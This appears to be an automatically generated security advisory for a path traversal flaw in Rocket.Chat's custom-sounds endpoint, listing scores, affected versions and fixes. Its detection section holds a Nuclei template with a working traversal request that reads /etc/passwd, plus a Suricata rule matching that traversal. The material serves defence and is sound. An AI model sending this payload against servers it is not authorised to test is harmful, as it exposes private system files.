VULNpocalypse

CVE-2026-56845: Rocket.Chat Rocket.Chat vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

An unauthenticated path traversal (LFI) vulnerability exists under /custom-sounds/ when CustomSounds storage is configured to FileSystem. By including ../ sequences in the request path, an attacker can read arbitrary files outside the base directory.

Description quoted from the CVE record (assigned by hackerone, published 2026-08-04).

Weakness: CWE-22 Path Traversal

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-52560, GHSA-6c37-9jgq-mgm8

VEDAS cluster: VEDAS:FREEZINGFENIX

Exploit Observer links 5 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (5)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (3)

Catalogue entries, not exploit evidence.

1 more reference returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.006
low predicted chance of attack
VEDAS
0.985
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
Rocket.Chat Rocket.Chatbefore 8.2.0
before 8.1.1
before 8.0.2
before 7.13.4
before 7.12.5
before 7.11.5
before 7.10.8		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 8.2.0, 8.1.1, 8.0.2, 7.13.4, 7.12.5, 7.11.5, 7.10.8.

How to detect it

Nuclei template (active check)

Rocket.Chat - Local File Inclusion

An unauthenticated path traversal (LFI) vulnerability exists in Rocket.Chat under /custom-sounds/ when CustomSounds storage is configured to FileSystem. By including ../ sequences in the request path, an unauthenticated attacker can read arbitrary files outside the base directory.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /custom-sounds/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd); it decides using regex, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-56845.yaml
Show the template (39 lines)
yaml
id: CVE-2026-56845

info:
  name: "Rocket.Chat - Local File Inclusion"
  author: vedas-arpsyndicate,Aether-0
  severity: high
  description: |
    An unauthenticated path traversal (LFI) vulnerability exists in Rocket.Chat under /custom-sounds/ when
    CustomSounds storage is configured to FileSystem. By including ../ sequences in the request path, an
    unauthenticated attacker can read arbitrary files outside the base directory.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-56845&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=rocketchat&match=exact
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-56845
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,rocketchat,lfi

http:
  - raw:
      - |
        GET /custom-sounds/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

CVE-2026-56845.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-56845 Rocket.Chat - Local File Inclusion Attempt. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-56845 Rocket.Chat - Local File Inclusion Attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/custom-sounds/"; nocase; fast_pattern; pcre:"/\/custom-sounds\/.*(?:\.\.(?:%2f|%252f|\/|\\))/i"; classtype:web-application-attack; reference:cve,CVE-2026-56845; reference:url,https://www.exploit.observer/?keyword=CVE-2026-56845&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=rocketchat&match=exact; sid:1021800; rev:1;)

CVE-2026-56845.rules on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.